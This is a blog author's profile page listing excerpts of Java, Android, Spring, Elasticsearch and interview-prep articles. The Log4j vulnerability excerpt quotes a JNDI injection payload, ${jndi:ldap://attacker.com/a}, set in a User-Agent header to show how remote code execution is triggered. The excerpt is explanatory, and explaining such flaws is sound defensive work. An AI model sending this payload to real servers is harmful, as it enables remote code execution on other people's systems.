自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(43)
  • 收藏
  • 关注

原创 Elasticsearch 高频面试题(含答案)

(3)在新的文档被创建时,Elasticsearch 会为该文档指定一个版本号,当执行更新时,旧版本的文档在.del 文件中被标记为删除,新版本的文档被索引到一个新段。(3)在 flush 过程中,内存中的缓冲将被清除,内容被写入一个新段,段的 fsync将创建一个新的提交点,并将内容刷新到磁盘,旧的 translog 将被删除并开始一个新的 translog。结合 ES 自身的支持动态扩展的特点,动态新增机器的方式可以缓解集群压力,注意:如果之前主节点等规划合理,不需要重启集群也能完成动态新增的。

2024-05-29 12:47:27 521

原创 Elasticsearch 聚合查询(aggs)

histogram是把数值类型的字段,按照一定的阶梯大小进行分组。刚刚的案例中,我们在桶内嵌套度量运算。范围分桶与阶梯分桶类似,也是把数字按照阶段进行分组,只不过range方式需要你自己指定每一组的起始和结束大小。前面的例子告诉我们每个桶里面的文档数量,但是我们需要更复杂的文档度量,我们需要告诉Elasticsearch。比如:我们想统计每种颜色的汽车中,分别属于哪个制造商,按照。:根据日期阶梯分组,例如给定阶梯为周,会自动每周分为一组。:数值和日期的范围分组,指定开始和结束,然后按段分组。

2024-05-29 12:46:55 533

原创 B站【狂神说Java笔记】-面向对象编程

内部类就是在一个类的内部定义一个类,比如,A类中定义一个B类,那么B类相对A类来说就称为内部类,而A类相对于B类来说就是外部类了。abstract 用来可以用来修饰方法也可以修饰类,如果修饰方法,那么该方法就是抽象方法。如果修饰类,那么该类就是抽象类。子类继承抽象类,必须实现所有的抽象方法,否则该子类也要声明为抽象类。抽象方法,只有方法的声明,没有方法的实现,它是用来让子类实现的。抽象类中可以没有抽象方法,但是有抽象方法的类必须声明为抽象类。继承的本质是对某一批类的抽象,从而实现对现实世界更好的建模。

2024-05-29 12:03:49 692

原创 B站【狂神说Java笔记】-java流程控制

语句与语句之间,框与框之间是按从上到下的顺序进行的,它是由若干个依次执行的处理步骤组成的,它是任何一个算法都离不开的一种基本算法结构。我们很多时候需要去判断一个东西是否可行,然后我们才去执行,这样一个过程在程序中用if语句来表示。//如果布尔表达式为false,则进入else语句块,执行里面代码。//如果布尔表达式为true,则进入if语句块了,执行里面代码。//如果布尔表达式为true,则进入if语句块,执行里面代码。//如果以上的表达式都不满足,则执行这里。}else if(布尔表达式2){

2024-05-29 12:03:17 251

原创 2024春招Java后端开发面试总结:25个技术专题(最全面试攻略)

8、Elasticsearch 中的节点(比如共 20 个),其中的 10 个选了一个 master,另外 10 个选了另一个 master,怎么办?18、有两个篮子,分别为A 和 B,篮子A里装有鸡蛋,篮子B里装有苹果,请用面向对象的思想实现两个篮子里的物品交换(请用代码实现)7、K-Means或KNN中,通常使用欧式距离来表示最近的数据点之间的距离,有时候也使用曼哈度距离,对比两者的区别。12、你的系统目前有许多正在运行的任务,在不重启机器的条件下,有什么方法可以把所有正在运行的进程移除呢?

2024-05-29 11:14:25 639

原创 2024总结全网最新、最全、最实用Java岗面试真题!已收录GitHub

一、Java快速面试。

2024-05-29 11:13:53 286

原创 设计模式(四):代理模式、原型模式与模板方法模式

举个栗子,比如实现代理处理请求我们首先实现一个接口,该接口包含了代理类和Service类的功能然后我们实现Service类再然后我们实现我们的代理类通过使用接口规范代理和Service类共有的功能,让代理类组装Service类,那我们就可以实现代理了,从外界看起来就像是,代理帮Service去实现请求处理。

2024-05-28 21:59:51 363

原创 计算机行业的薪资真的有那么高吗?讲真,有的一毕业就失业,有的一毕业就拿 20k+

对于计算机专业来说,GitHub、Stack Overflow、百度、谷歌,一定要用得好,像 GitHub,大量优质的内容都在上面,学会搜索,基本上任何宝藏你都能 get 到。进入一个公司后,不管是实习,还是正式参加工作,一定要能尽快适应下来,和同事打成一片,关系融洽,才能更好的工作,把自己的能力表现出来。对于新人来说,一开始遇到问题的时候,只能面向搜索引擎,去看看别人有没有遇到类似的问题,有没有解决方案,然后套用一下,看能不能把问题给解决了。5k 左右的薪资算是比较低的了,但在当时的苏州,感觉还可以吧。

2024-05-28 21:58:08 774

原创 感受 lambda 之美!

uglily;test(() -> “我是一个演示的函数式接口”);/*** 演示自定义函数式接口使用*///9龙的身高高于185吗?:false//命运由我不由天//9龙//10//false//6//我是一个演示的函数式接口以上演示了lambda接口的使用及自定义一个函数式接口并使用。下面,我们看看java8将函数式接口封装到流中如何高效的帮助我们处理集合。例子中这种编写lambda表达式的方式称为。是不是很神奇,java8就是这么迷人。img。

2024-05-28 21:09:32 638

原创 微服务配置中心 Apollo解析——Portal 创建 App

com.ctrip.framework.apollo.common.entity.App.AppRepository ,继承 org.springframework.data.repository.PagingAndSortingRepository 接口,提供 App 的。com.ctrip.framework.apollo.portal.listener.AppCreationEvent ,实现 org.springframework.context.ApplicationEvent 抽象类,App。

2024-05-28 21:09:00 669

原创 五、springboot 简单优雅是实现邮件服务

这里我们就先简单的测试一下看看邮件能不能发送。MimeMessage 比 SimpleMailMessage 功能更强大,可以发送附件,也可以将内容转成html 格式发送。有时候我们发送邮件不仅仅发送内容,还需要发送附件,那怎么实现呢。提示已经发送成功啦,我们进邮箱看下我们发送情况。到此为止,我们邮件服务的demo 就已经搭建好了。所以现在看来,springboot 集成邮件服务是非常简单的,配置邮件服务器,就可以直接使用啦。可以看到就一个发送的接口。可以看到和我们开始测试的时候,有一点不同。

2024-05-28 20:15:40 515

原创 二本Java菜鸟9面字节遭虐,苦修数月深造这份 Java面试宝典,终进阿里

网友们的评论真相了:“字节这么缺人?大家可以去投了”“看来字节跳动就是要定你了!“哥们你这得累积多少大厂面试经验啊!快点传授一波!“我的天哪,638份简历,9次字节面试,吾辈楷模。真正的海量面经!问及面试考题,这位兄弟言辞中有些许惭愧:面试官已经给了一些提示,但无奈自己准备得不充分,回答很不理想。他没想到,像Redis,Spring,JVM,Zookeeper等这些在工作中都有涉及过的技术,面试官会问的这么深入!

2024-05-28 20:15:09 790

原创 SpringBoot整合MyBatis-Plus+Thymeleaf+拦截器

动静结合:Thymeleaf 在有网络和无网络的环境下皆可运行,即它可以让美工在浏览器查看页面的静态效果,也可以让程序员在服务器查看带数据的动态页面效果。与SpringBoot完美整合,SpringBoot提供了Thymeleaf的默认配置,并且为Thymeleaf设置了视图解析器,我们可以像以前操作jsp一样来操作Thymeleaf。开箱即用:它提供标准和spring标准两种方言,可以直接套用模板实现JSTL、 OGNL表达式效果,避免每天套模板、该jstl、改标签的困扰。//查询失败,提示错误。

2024-05-28 18:18:34 716

原创 Springboot整合ActiveMQ(Queue和Topic两种模式)

test。

2024-05-28 18:18:03 724

原创 Log4j史诗级漏洞,我们这些小公司能做些什么?

​​​/***/// 获取user-agent信息// 此行记录日志的代码,通过记录攻击者控制的HTTP用户代理标头来触发RCE。// 攻击者可以设置他们的User-Agent header到${jndi:ldap://attacker.com/a}​。

2024-05-28 17:30:07 880

原创 linux常用命令(面试)

当然,如果想解压缩,就直接替换上面的命令 tar -cvf / tar -zcvf / tar -jcvf 中的“c” 换成“x” 就可以了。例:grep -r “close” /home/* | more 在home目录下所有文件中查找,包括close的文件,并分页输出。tar -jcvf /home/abc.tar.bz2 /home/abc 打包,并用bzip2压缩。tar -zcvf /home/abc.tar.gz /home/abc 打包,并用gzip压缩。使用ESC或i或:来切换模式。

2024-05-28 17:29:37 221

原创 Jar包问题查找脚本

这个脚本在Jar包中进行二进制内容查找指定的字段经常可以解决一些很神奇的问题,例如某些功能上线没有生效、某些日志没有打印,上了新功能却没有展示,就可以通过这个命令查找打的包是否有问题。/bin/bash。

2024-05-28 16:45:13 884

原创 Jar 包依赖冲突排查思路和解决方法

应用从 jdk7 升级到 jdk8,终于可以用上新特性的语法进行代码编写,通过几轮开发、测试和验证后,在上预发环境时,应用突然无法启动,查看 tomcat 报错原因,发现是。

2024-05-28 16:44:41 655

原创 leetcode402

如果不删,接下来的数字不论怎么操作,都会是135****,都会大于133****。注意:可能到最后都没有删掉k个数,这时序列已经是一个非递减序列,应该删除后面对应个数的数字。解释: 移除掉三个数字 4, 3, 和 2 形成一个新的最小的数字 1219。解释: 移掉首位的 1 剩下的数字为 200. 注意输出不能有任何前导零。输入: num = “1432219”, k = 3。输入: num = “10200”, k = 1。解释: 从原数字移除所有的数字,剩余为空就是0。输出: “1219”

2024-05-26 22:02:35 369

原创 Java~完成项目图书管理系统(增加整理书籍功能)

System.out.println(“输入书名” + " 作者" + " 价格" + " 类型");System.out.println(“输入你要查找的书名”);System.out.println(“输入你要归还的书名”);System.out.println(“输入你要借的书名”);System.out.println(“输入你要删的书名”);" 已借出" : " 未借出") +System.out.println(“2.新增书籍”);System.out.println(“3.删除书籍”);

2024-05-26 20:24:16 276

原创 JVM(二):垃圾收集器与内存分配策略

GC收集器会对F-Queue中的所有对象进行第二次小规模的标记,

2024-05-25 22:18:43 308

原创 JVM面试题系列:new String(“abc“)创建了几个对象

每个栈帧内部都包含一个指向当前方法所在类型的运行时常量池的引用,以便对当前方法的代码实现动态链接。在class文件里面,一个方法若要调用其他方法,或者访问成员变量,则需要通过符号引用来表示,动态链接的作用就是将这些以符号引用所表示的方法转换为对实际方法的直接引用。

2024-05-25 22:18:11 317

原创 Java编程:弗洛伊德算法(无向图所有顶点最小路径)

System.out.print(“(” + vertex[i] + “到” + vertex[j] + “的最短路径是:” + dis[i][j] + ") ");// 对中间顶点遍历,k就是中间顶点的下标 [‘A’,‘B’,‘C’,‘D’,‘E’,‘F’,‘G’]// 从i顶点开始出发 [‘A’,‘B’,‘C’,‘D’,‘E’,‘F’,‘G’]// 到达j顶点,[‘A’,‘B’,‘C’,‘D’,‘E’,‘F’,‘G’]// 记录变量保存距离。

2024-05-25 20:47:10 325

原创 Java编程:图

类似于一个分层搜索的过程,广度优先遍历需要使用一个队列以保持访问过的结点的顺序,以便按这个顺序来访问这些结点的邻接结点。@param v1 表示点的下标 即是第几个顶点 “A” - “B” => “A” - 0 “B” - 1。// 体现出广度优先。返回结点i(下标) 对应的数据 0->“A” 1->“B” 2->“C”6.3 查找结点u的继w邻接结点后的下一个邻接结点w,转到步骤6。@param i 第i个结点 第一次是0。6.1 若结点w尚未被访问,则访问结点w并标记为已访问。

2024-05-25 20:46:39 386

原创 Java scope和TransactionConfiguration

附上SpringUtils类,该类是为了通过applicationContext文件,加载对应的spring组件。结论:prototype状态下,service在获取时会重新加载一个新的对象。结论:service对象在单例情况下只有1个。

2024-05-25 18:21:46 372

原创 Java Scanner类

System.out.println(“使用nextline方式借收:”);//凡是属于IO流的类如果不关闭会一直占用资源,要养成用完就关闭的好习惯。System.out.println(“输出的内容为:”+str);System.out.println(“输出的内容为:”+str);,也就是说 nextLine()方法返回的是输入回车之前的所有字符。3、只有输入有效字符后才将其后面输入的空白作为分隔符或者结束符。2、对输入有效字符之前遇到的空白,next() 方法会。//判断用户有没有输入字符串。

2024-05-25 18:21:16 352

原创 Android Studio 实现登录注册-源代码 二(Servlet + 连接MySql数据库)

Toast.makeText(getApplicationContext(),“登录成功”,Toast.LENGTH_LONG).show();Toast.makeText(getApplicationContext(),“登录失败”,Toast.LENGTH_LONG).show();//Post方式不能缓存,需手动设置为false。//访问的serlver不一样。//设置请求方式,请求超时信息。// 获取响应的输入流对象。msg = “成功”;//访问servlet。//传递的参数不一样。

2024-05-25 15:11:14 339

原创 Android Studio 实现实现学生信息的查询 -源代码 三(Servlet + 连接MySql数据库) (JSON通信)

usersuidnameusernamepasswordagephoneuidusersVALUES (‘2’, ‘123’, ‘HBV环保局’, ‘123’, ‘33’, 0x3133333333333333333333);usersVALUES (‘3’, ‘1233’, ‘反复的’, ‘1233’, ‘12’, 0x3132333333333333333333);users。

2024-05-25 15:10:43 306

原创 如何深入学习?Android中高级进阶书籍推荐

详细讲解原理、概念、专项工具使用的场景和对应的使用方法,同时提炼总结不同类型的性能缺陷和对应的排查手段、定位方法和解决方案,还会帮助读者从全新的角度学习如何应对专项测评要面对的两个基础问题:UI 自动化测试和竞品测试。书中给出了70 多个可行的重构,每个重构都介绍了一种经过验证的代码变换手法的动机和技术。本书的作者是来自腾讯 SNG 专项测试团队的工程师们,他们负责手机 QQ、QQ 空间、QQ 音乐等的性能评测与优化工作,在 App 的资源类性能、交互类性能的分析与优化上挖掘很深,累积了不少案例和经验。

2024-05-18 22:02:34 694

原创 如何成为一名Android架构师?(筑基+实战)

架构师是一个充满挑战的职业,知识面的宽窄往往决定着一个架构师的架构能力。想成为一名优秀的Android架构师,保持学习是必不可少的,而且在技术方面不能只追求广度,更要加深技术的深度,要想成为一名优秀的移动端架构师,不仅要有硬技能,还要有软技能。

2024-05-18 22:01:58 325

原创 从字节跳动离职后,拿到探探、趣头条、爱奇艺、小红书、15家公司的offer

效率并不是很高,而且并不主动,可能是跟我要的薪水太高有关系,后面通过询问才知道,技术面试是通过了,可能字节跳动本来薪水就很高,我再跳过来,猿辅导考虑到我的工作年限和年龄,会倒挂一大批人,所以只能平薪过来,而且这样知道我肯定不会来,就没主动跟我说。

2024-05-18 22:01:21 722

原创 Kotlin Android开发·继承、构造和接口

Kotlin继承凡是能看到这里,相信各位都是程序员吧,但是程序员也有不同,有做Web前端的,有做后台的,也有做移动端的!做这些方向的技术人员都是程序员,所以,可以理解为继承自程序员,来表述各位的专业方向!这就是继承!拉出来(Java 学习之路 类的继承)文章中的猫和老虎Java中的继承通过关键字来实现!Kotlin 则通过 “” 来实现,接下来就用继承来实现上方的关系,先只实现猫咪那一个分支!首先创建Cat类var skill = " 我会上树 "var dislike = " 我讨厌洗澡 "

2024-05-18 21:54:22 596

原创 JCenter已经提桶跑路,是时候学会上传到Maven Central了

如果没有域名,你可以使用你在GitHub上注册的账号,比如我这边是github.com/ddnosh,那么我们申请的Group Id可以写成com.github.ddnosh。,保存为gpg格式的文件,然后这个文件的路径就是signing.secretKeyRingFile的值。相比JCenter这样的第三方仓库,Maven Central的操作就稍显复杂,不过我们只要把思路理清理顺了,其实也没有那么难操作。,因为这涉及到域名,需要你拥有这个域名的所有权,不能随便填写,否则验证不通过。

2024-05-18 21:53:46 1003

原创 Flutter与Android通信开发指南

Overridepublic void onMessage(String s, BasicMessageChannel.Reply reply) {//处理Dart发来的消息reply.reply(“BasicMessageChannel收到:” + s);//可以通过reply进行回复/**向Dart发送消息,并接受Dart的反馈@param message 要给Dart发送的消息内容@param callback 来自Dart的反馈*/@Override。

2024-05-18 21:53:11 570

原创 android设计模式—单例设计模式

确保单例类的对象有且只有一个,尤其是在多线程环境下确保单例类对象在反序列化时不会重新创建对象饿汉单例模式//构造函数私有化//公有的静态函数,对外暴露获取单例对象的接口饿汉单例模式采用的是静态变量 + fianl关键字的方式来确保单例模式,应用启动的时候就生成单例对象,效率不高懒汉模式//构造函数私有化//公有的静态函数,对外暴露获取单例对象的接口懒汉模式的主要是加了synchronized关键字,每调用一次getInstance方法,都会进行同步,造成了不必要的开销。

2024-05-18 21:52:32 451

原创 Android功能强大,UI 简洁,交互优雅的通用弹窗

默认情况下,XPopup 的主色为灰色,主色作用于 Button 文字,EditText 边框和光标,Check 文字的颜色上。.asConfirm(“演示自定义动画”, “当前的动画是一个自定义的旋转动画,无论是自定义弹窗还是自定义动画,已经被设计得非常简单;.asBottomList(“请选择一项”, new String[]{“条目 1”, “条目 2”, “条目 3”, “条目 4”, “条目 5”},//必须实现这个方法,返回 uri 对应的缓存文件,可参照下面的实现,内部保存图片会用到。

2024-05-18 21:48:56 429

原创 Android修改PackageInstaller自动安装指定应用

【代码】Android修改PackageInstaller自动安装指定应用。

2024-05-18 21:48:20 900

原创 Android中Bitmap内存优化

Bitmap的使用一般来说,一个对象的使用,我们会尝试利用其构造函数去生成这个对象。在Bitmap中,其构造函数:通过构造函数的注释,得知这是一个给native层调用的方法,因此可以知道Bitmap的创建将会涉及到底层库的支持。为了方便从不同来源来创建Bitmap,Android中提供了BitmapFactory工具类。

2024-05-18 21:47:44 877

原创 Android 路由框架ARouter源码解析_com

看它的介绍就知道了,原来这个类是用来预处理path和uri的,调用方需要实现PathReplaceService就可以做预处理,如果不实现,默认pService==null,那么直接走下面的去初始化Postcard实体类。,但是第一次获取的时候为空(因为init时只填充了Warehouse路由表的groupsIndex、interceptorsIndex、providersIndex,还记得吗?的逻辑(interceptorService是在afeterInit中初始化的),否则就走到了。

2024-05-18 21:47:05 242

原创 Android GreenDao 使用全面讲解

/ 在 Moudle:app的 build.gradle 文件中添加:greendao {schemaVersion 1 //数据库版本号// 设置DaoMaster、DaoSession、Dao 包名targetGenDir ‘src/main/java’//设置DaoMaster、DaoSession、Dao目录,请注意,这里路径用/不要用.generateTests false //设置为true以自动生成单元测试。

2024-05-18 21:43:32 713

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除